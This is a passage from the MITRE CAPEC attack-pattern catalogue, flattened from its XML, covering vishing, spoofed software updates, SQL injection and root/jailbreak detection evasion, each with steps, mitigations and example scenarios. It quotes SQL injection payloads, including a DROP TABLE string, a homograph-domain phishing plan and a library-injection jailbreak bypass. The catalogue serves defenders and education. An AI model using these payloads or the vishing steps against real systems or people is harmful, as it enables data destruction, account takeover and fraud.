Vishing + + + + + + + + + + + + #indAlternateTermVoIPPhishing + VoIP Phishing + + + + + + + + + VoIP Phishing + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39370 + Related_Attack_Pattern_39370 + + + + + + + + + + + + + + 98 + + + + + + + + + + + + #indAttackStepAttackStep39373 + Attack_Step_39373 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Obtain domain name and certificate to spoof legitimate site] This optional step can be used to help the adversary impersonate the legitimate organization more convincingly. The adversary can use homograph or similar attacks to convince users that they are using the legitimate website. If the adversary leverages cold-calling for this attack, this step is skipped.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a domain name that visually looks similar to the legitimate organization's domain name. An example is www.paypaI.com vs. www.paypal.com (the first one contains a capital i, instead of a lower case L)</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optionally obtain a legitimate SSL certificate for the new domain name.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39380 + Attack_Step_39380 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Explore legitimate website and create duplicate] An adversary optionally creates a website (optionally at a URL that looks similar to the original URL) that closely resembles the organization's website that they are trying to impersonate. That website will contain a telephone number for the victim to call to assist them with their issue and initiate the attack. If the adversary leverages cold-calling for this attack, this step is skipped.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use spidering software to get copy of web pages on legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manually save copies of required web pages from legitimate site.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Create new web pages that have the legitimate site's look and feel, but contain completely new content.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39388 + Attack_Step_39388 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Convince user to provide sensitive information to the adversary.] An adversary "cold calls" the victim or receives a call from the victim via the malicious site and provides a call-to-action, in order to persuade the user into providing sensitive details to the adversary (e.g. login credentials, bank account information, etc.). The key is to get the victim to believe that the individual they are talking to is from a legitimate entity with which the victim does business and that the call is occurring for legitimate reasons. A call-to-action will usually need to sound legitimate and urgent enough to prompt action from the user.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Call the user a from a spoofed legitimate-looking telephone number.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39394 + Attack_Step_39394 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Use stolen information] Once the adversary obtains the sensitive information, this information can be leveraged to log into the victim's bank account and transfer money to an account of their choice, or to make fraudulent purchases with stolen credit card information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Login to the legitimate site using another the victim's supplied credentials</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs phone numbers to initiate contact with the victim, in addition to a legitimate-looking telephone number to call the victim from.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs to correctly guess the entity with which the victim does business and impersonate it. Most of the time phishers just use the most popular banks/services and send out their "hooks" to many potential victims.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary needs to have a sufficiently compelling call to action to prompt the user to take action.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If passively conducting this attack via a spoofed website, replicated website needs to look extremely similar to the original website and the URL used to get to that website needs to look like the real URL of the said business entity.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39408 + Skill_39408 + + + + + + + + + + + + + + Basic knowledge about websites: obtaining them, designing and implementing them, etc. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Legitimate-looking telephone number(s) to initiate calls with victims</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You receive a call from an entity that you are not even a customer of prompting you to log into your account.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You receive any call that requests you provide sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">You are redirected to a website that instructs you to call the number on-screen to address the call-to-action.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39419 + Consequence_39419 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39425 + Consequence_39425 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39429 + Consequence_39429 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not accept calls from unknown numbers or from numbers that may be flagged as spam. Also, do not call numbers that appear on-screen after being unexpectedly redirected to potentially malicious websites. In either case, do not provide sensitive information over voice calls that are not legitimately initiated. Instead, call your Bank, PayPal, eBay, etc., via the number on their public-facing website and inquire about the problem.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The target receives an email or text message stating that their Apple ID has been disabled due to suspicious activity and that the included link includes instructions on how to unlock their Apple account. The link in the text message looks legitimate and once the link is clicked, the user is redirected to a legitimate-looking webpage that prompts the user to call a specified number to initiate the unlock process. The target initiates the phone call and provides their credentials or other sensitive information to the individual they assume works for Apple. Now that the adversary possess this data, it can be used to log into the account to obtain other sensitive data, such as Apple Pay information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary calls the target and claims to work for their bank. The adversary informs the target that their bank account has been frozen, due to potential fraudulent spending, and requires authentication in order to re-enable the account. The target, believing the caller is a legitimate bank employee, provides their bank account login credentials to confirm they are the authorized owner of the account. The adversary then confirms this authentication and claims that the account has been unlocked. Once the adversary has obtained these credentials, money can be transferred from the victim's account to an account controlled by the adversary.</xhtml:div> + + + + + + + + + + + + #indReferenceReference39442 + Reference_39442 + + + + + + + + + REF-592 + + + + + + + + + + + + #indReferenceReference39443 + Reference_39443 + + + + + + + + + REF-594 + + + + + + + + + + + + #indReferenceReference39444 + Reference_39444 + + + + + + + + + REF-595 + + + + + + + + + + + + #indContentHistoryContentHistory39446 + Content_History_39446 + + + + + + + + + + + + + + + + #indSubmissionSubmission39447 + Submission_39447 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + + + + + + + + #CAPEC-657 + Malicious Automated Software Update via Spoofing + + + + + + + + + 657 + + + + + Malicious Automated Software Update via Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attackers uses identify or content spoofing to trick a client into performing an automated software update from a malicious source. A malicious automated software update that leverages spoofing can include content or identity spoofing as well as protocol spoofing. Content or identity spoofing attacks can trigger updates in software by embedding scripted mechanisms within a malicious web page, which masquerades as a legitimate update source. Scripting mechanisms communicate with software components and trigger updates from locations specified by the attackers' server. The result is the client believing there is a legitimate software update available but instead downloading a malicious update from the attacker.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39461 + Related_Attack_Pattern_39461 + + + + + + + + + + + + + + 186 + + + + + 403 + + + + + + + + + + + + #indConsequenceConsequence39466 + Consequence_39466 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An example of the spoofing strategy would be the eTrust Antivirus Webscan Automated Update Remote Code Execution vulnerability (CVE-2006-3976) and (CVE-2006-3977) whereby an ActiveX control could be remotely manipulated by an attacker controlled web page to download and execute the attackers' code without integrity checking.</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indTaxonomyMappingSoftwareDeploymentTools + Software Deployment Tools + + + + + + + + + + + + + + 1072 + + + + + Software Deployment Tools + + + + + + + + + + + + #indContentHistoryContentHistory39485 + Content_History_39485 + + + + + + + + + + + + + + + + #indSubmissionSubmission39486 + Submission_39486 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + + + + + + + + #indModificationModification39491 + Modification_39491 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-66 + SQL Injection + + + + + + + + + 66 + + + + + SQL Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">This attack exploits target software that constructs SQL statements based on user input. An attacker crafts input strings so that when the target software constructs SQL statements based on the input, the resulting SQL statement performs actions other than those the application intended. SQL Injection results from failure of the application to appropriately validate input.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;When specially crafted user-controlled input consisting of SQL syntax is used without proper validation as part of SQL queries, it is possible to glean information from the database in ways not envisaged during application design. Depending upon the database and the design of the application, it may also be possible to leverage injection to have the database execute system-related commands of the attackers' choice. SQL Injection enables an attacker to interact directly to the database, thus bypassing the application completely. Successful injection can cause information disclosure as well as ability to add or modify data in the database.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39507 + Related_Attack_Pattern_39507 + + + + + + + + + + + + + + 248 + + + + + + + + + + + + #indAttackStepAttackStep39510 + Attack_Step_39510 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Survey application] The attacker first takes an inventory of the functionality exposed by the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Spider web sites for all available links</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Sniff network communications with application using a utility such as WireShark.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39517 + Attack_Step_39517 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine user-controllable input susceptible to injection] Determine the user-controllable input susceptible to injection. For each user-controllable input that the attacker suspects is vulnerable to SQL injection, attempt to inject characters that have special meaning in SQL (such as a single quote character, a double quote character, two hyphens, a parenthesis, etc.). The goal is to create a SQL query with an invalid syntax.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use web browser to inject input through text fields or through HTTP GET parameters.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use a web application debugging tool such as Tamper Data, TamperIE, WebScarab,etc. to modify HTTP POST parameters, hidden fields, non-freeform fields, etc.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use network-level packet injection tools such as netcat to inject input</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use modified client (modified by reverse engineering) to inject input.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39526 + Attack_Step_39526 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Experiment with SQL Injection vulnerabilities] After determining that a given input is vulnerable to SQL Injection, hypothesize what the underlying query looks like. Iteratively try to add logic to the query to extract information from the database, or to modify or delete information in the database.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use public resources such as "SQL Injection Cheat Sheet" at http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/, and try different approaches for adding logic to SQL queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Add logic to query, and use detailed error messages from the server to debug the query. For example, if adding a single quote to a query causes an error message, try : "' OR 1=1; --", or something else that would syntactically complete a hypothesized query. Iteratively refine the query.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use "Blind SQL Injection" techniques to extract information about the database schema.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">If a denial of service attack is the goal, try stacking queries. This does not work on all platforms (most notably, it does not work on Oracle or MySQL). Examples of inputs to try include: "'; DROP TABLE SYSOBJECTS; --" and "'); DROP TABLE SYSOBJECTS; --". These particular queries will likely not work because the SYSOBJECTS table is generally protected.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39535 + Attack_Step_39535 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit SQL Injection vulnerability] After refining and adding various logic to SQL queries, craft and execute the underlying SQL query that will be used to attack the target system. The goal is to reveal, modify, and/or delete database data, using the knowledge obtained in the previous step. This could entail crafting and executing multiple SQL queries if a denial of service attack is the intent.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Craft and Execute underlying SQL query</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SQL queries used by the application to store, retrieve or modify data.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">User-controllable input that is not properly validated by the application as part of SQL queries.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39547 + Skill_39547 + + + + + + + + + + + + + + It is fairly simple for someone with basic SQL knowledge to perform SQL injection, in general. In certain instances, however, specific knowledge of the database employed may be required. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Too many false or invalid queries to the database, especially those caused by malformed input.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39556 + Consequence_39556 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39560 + Consequence_39560 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39564 + Consequence_39564 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39571 + Consequence_39571 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Strong input validation - All user-controllable input must be validated and filtered for illegal characters as well as SQL content. Keywords such as UNION, SELECT or INSERT must be filtered in addition to characters such as a single-quote(') or SQL-comments (--) based on the context in which they appear.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of parameterized queries or stored procedures - Parameterization causes the input to be restricted to certain domains, such as strings or integers, and any input outside such domains is considered invalid and the query fails. Note that SQL Injection is possible even in the presence of stored procedures if the eventual query is constructed dynamically.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Use of custom error pages - Attackers can glean information about the nature of queries from descriptive error messages. Input validation must be coupled with customized error pages that inform about an error without disclosing information about the database or application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">With PHP-Nuke versions 7.9 and earlier, an attacker can successfully access and modify data, including sensitive contents such as usernames and password hashes, and compromise the application through SQL Injection. The protection mechanism against SQL Injection employs a denylist approach to input validation. However, because of an improper denylist, it is possible to inject content such as "foo'/**/UNION" or "foo UNION/**/" to bypass validation and glean sensitive information from the database. See also: CVE-2006-5525</xhtml:div> + + + + + 89 + + + + + 1286 + + + + + + + + + + + + #indTaxonomyMappingSQLInjection + SQL Injection + + + + + + + + + + + + + + 19 + + + + + SQL Injection + + + + + + + + + + + + #indTaxonomyMappingSQLInjection + SQL Injection + + + + + + + + + + + + + + SQL Injection + + + + + + + + + + + + #indReferenceReference39600 + Reference_39600 + + + + + + + + + REF-607 + + + + + Testing for SQL Injection + + + + + + + + + + + + #indContentHistoryContentHistory39602 + Content_History_39602 + + + + + + + + + + + + + + + + #indSubmissionSubmission39603 + Submission_39603 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification39608 + Modification_39608 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification39614 + Modification_39614 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated References, Related_Weaknesses + + + + + + + + + + + + #indModificationModification39620 + Modification_39620 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Execution_Flow + + + + + + + + + + + + #indModificationModification39626 + Modification_39626 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances, Related_Weaknesses + + + + + + + + + + + + #indModificationModification39632 + Modification_39632 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated References, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification39638 + Modification_39638 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification39644 + Modification_39644 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-660 + Root/Jailbreak Detection Evasion via Hooking + + + + + + + + + 660 + + + + + Root/Jailbreak Detection Evasion via Hooking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary forces a non-restricted mobile application to load arbitrary code or code files, via Hooking, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Adversaries may further leverage these capabilities to escalate privileges or bypass access control on legitimate applications. Although many mobile applications check if a mobile device is Rooted/Jailbroken prior to authorized use of the application, adversaries may be able to "hook" code in order to circumvent these checks. Successfully evading Root/Jailbreak detection allows an adversary to execute administrative commands, obtain confidential data, impersonate legitimate users of the application, and more.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39659 + Related_Attack_Pattern_39659 + + + + + + + + + + + + + + 251 + + + + + + + + + + + + #indAttackStepAttackStep39662 + Attack_Step_39662 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify application with attack potential] The adversary searches for and identifies a mobile application that could be exploited for malicious purposes (e.g. banking, voting, or medical applications).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search application stores for mobile applications worth exploiting</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39668 + Attack_Step_39668 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Develop code to be hooked into chosen target application] The adversary develops code or leverages existing code that will be hooked into the target application in order to evade Root/Jailbreak detection methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Develop code or leverage existing code to bypass Root/Jailbreak detection methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Test the code to see if it works.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Iteratively develop the code until Root/Jailbreak detection methods are evaded.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39676 + Attack_Step_39676 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute code hooking to evade Root/Jailbreak detection methods] Once hooking code has been developed or obtained, execute the code against the target application to evade Root/Jailbreak detection methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Hook code into the target application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The targeted application must be non-restricted to allow code hooking.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39687 + Skill_39687 + + + + + + + + + + + + + + Knowledge about Root/Jailbreak detection and evasion techniques. + + + + + + + + + + + + #indSkillSkill39688 + Skill_39688 + + + + + + + + + + + + + + Knowledge about code hooking. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have a Rooted/Jailbroken mobile device.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary needs to have enough access to the target application to control the included code or file.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39695 + Consequence_39695 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Through Root/Jailbreak Detection Evasion via Hooking, the adversary compromises the integrity of the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39701 + Consequence_39701 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39707 + Consequence_39707 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may leverage Root/Jailbreak Detection Evasion via Hooking in order to obtain sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure mobile applications are signed appropriately to avoid code inclusion via hooking.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inspect the application's memory for suspicious artifacts, such as shared objects/JARs or dylibs, after other Root/Jailbreak detection methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Inspect the application's stack trace for suspicious method calls.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Allow legitimate native methods, and check for non-allowed native methods during Root/Jailbreak detection methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">For iOS applications, ensure application methods do not originate from outside of Apple's SDK.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary targets a non-restricted iOS banking application in an attempt to compromise sensitive user data. The adversary creates Objective-C runtime code that always returns "false" when checking for the existence of the Cydia application. The malicious code is then dynamically loaded into the application via the DYLD_INSERT_LIBRARIES environment variable. When the banking applications checks for Cydia, the hooked code returns "false", so the application assumes the device is stock (i.e. not Jailbroken) and allows it to access the application. However, the adversary has just evaded Jailbreak detection and is now able to glean user credentials and/or transaction details.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary targets a mobile voting application on an Android device with the goal of committing voter fraud. Leveraging the Xposed framework, the adversary is able to create and hook Java code into the application that bypasses Root detection methods. When the voting application attempts to detect a Rooted device by checking for commonly known installed packages associated with Rooting, the hooked code removes the suspicious packages before returning to the application. As a result, the application believes the device is stock (i.e. not Rooted) when in actuality this is not the case. Having evading Root detection, the adversary is now able to cast votes for the candidate of their choosing as a variety of different users.</xhtml:div> + + + + + 829 + + + + + + + + + + + + #indTaxonomyMappingProcessInjection + Process Injection + + + + + + + + + + + + + + 1055 + + + + + Process Injection + + + + + + + + + + + + #indReferenceReference39735 + Reference_39735 + + + + + + + + + REF-624 + + + + + + + + + + + + #indReferenceReference39736 + Reference_39736 + + + + + + + + + REF-625 + + + + + + + + + + + + #indReferenceReference39737 + Reference_39737 + + + + + + + + + REF-626 + + + + + + + + + + + + #indReferenceReference39738 + Reference_39738 + + + + + + + + + REF-627 + + + + + + + + + + + + #indContentHistoryContentHistory39740 + Content_History_39740 + + + + + + + + + + + + + + + + #indSubmissionSubmission39741 + Submission_39741 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + + + + + + + + #CAPEC-661 + Root/Jailbreak Detection Evasion via Debugging + + + + + + + + + 661 + + + + + Root/Jailbreak Detection Evasion via Debugging + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary inserts a debugger into the program entry point of a mobile application to modify the application binary, with the goal of evading Root/Jailbreak detection. Mobile device users often Root/Jailbreak their devices in order to gain administrative control over the mobile operating system and/or to install third-party mobile applications that are not provided by authorized application stores (e.g. Google Play Store and Apple App Store). Rooting/Jailbreaking a mobile device also provides users with access to system debuggers and disassemblers, which can be leveraged to exploit applications by dumping the application's memory at runtime in order to remove or bypass signature verification methods. This further allows the adversary to evade Root/Jailbreak detection mechanisms, which can result in execution of administrative commands, obtaining confidential data, impersonating legitimate users of the application, and more.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39755 + Related_Attack_Pattern_39755 + + + + + + + + + + + + + + 121 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39756 + Related_Attack_Pattern_39756 + + + + + + + + + + + + + + 68 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern39757 + Related_Attack_Pattern_39757 + + + + + + + + + + + + + + 660 + + + + + + + + + + + + #indAttackStepAttackStep39760 + Attack_Step_39760 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify application with attack potential] The adversary searches for and identifies a mobile application that could be exploited for malicious purposes (e.g. banking, voting, or medical applications).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Search application stores for mobile applications worth exploiting</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39766 + Attack_Step_39766 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Debug the target application] The adversary inserts the debugger into the program entry point of the mobile application, after the application's signature has been identified, to dump its memory contents.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Insert the debugger at the mobile application's program entry point, after the application's signature has been identified.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Dump the memory region containing the now decrypted code from the address space of the binary.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39773 + Attack_Step_39773 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Remove application signature verification methods] Remove signature verification methods from the decrypted code and resign the application with a self-signed certificate.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep39778 + Attack_Step_39778 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute the application and evade Root/Jailbreak detection methods] The application executes with the self-signed certificate, while believing it contains a trusted certificate. This now allows the adversary to evade Root/Jailbreak detection via code hooking or other methods.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Optional: Hook code into the target application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A debugger must be able to be inserted into the targeted application.</xhtml:div> + + + + + + + + + + + + #indSkillSkill39789 + Skill_39789 + + + + + + + + + + + + + + Knowledge about Root/Jailbreak detection and evasion techniques. + + + + + + + + + + + + #indSkillSkill39790 + Skill_39790 + + + + + + + + + + + + + + Knowledge about runtime debugging. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have a Rooted/Jailbroken mobile device with debugging capabilities.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39796 + Consequence_39796 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Through Root/Jailbreak Detection Evasion via Debugging, the adversary compromises the integrity of the application.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence39802 + Consequence_39802 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence39808 + Consequence_39808 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary may leverage Root/Jailbreak Detection Evasion via Debugging in order to obtain sensitive information.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Instantiate checks within the application code that ensures debuggers are not attached.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary targets an iOS banking application in an attempt to compromise sensitive user data. The adversary launches the application with the iOS debugger and sets a breakpoint at the program entry point, after the application's signature has been verified. Next, the adversary dumps the memory region that contains the decrypted code from the address space of the binary. The 'Restrict' flag is then stripped from the application and the adversary resigns the application with a self-signed certificate. The application is now executed without the 'Restrict' flag, while trusting the self-signed certificate to be legitimate. However, the adversary is now able to evaded Jailbreak detection via code hooking or other methods and can glean user credentials and/or transaction details.</xhtml:div> + + + + + 489 + + + + + + + + + + + + #indReferenceReference39825 + Reference_39825 + + + + + + + + + REF-625 + + + + + + + + + + + + #indReferenceReference39826 + Reference_39826 + + + + + + + + + REF-626 + + + + + + + + + + + + #indReferenceReference39827 + Reference_39827 + + + + + + + + + REF-627 + + + + + + + + + + + + #indReferenceReference39828 + Reference_39828 + + + + + + + + + REF-628 + + + + + + + + + + + + #indContentHistoryContentHistory39830 + Content_History_39830 + + + + + + + + + + + + + + + + #indSubmissionSubmission39831 + Submission_39831 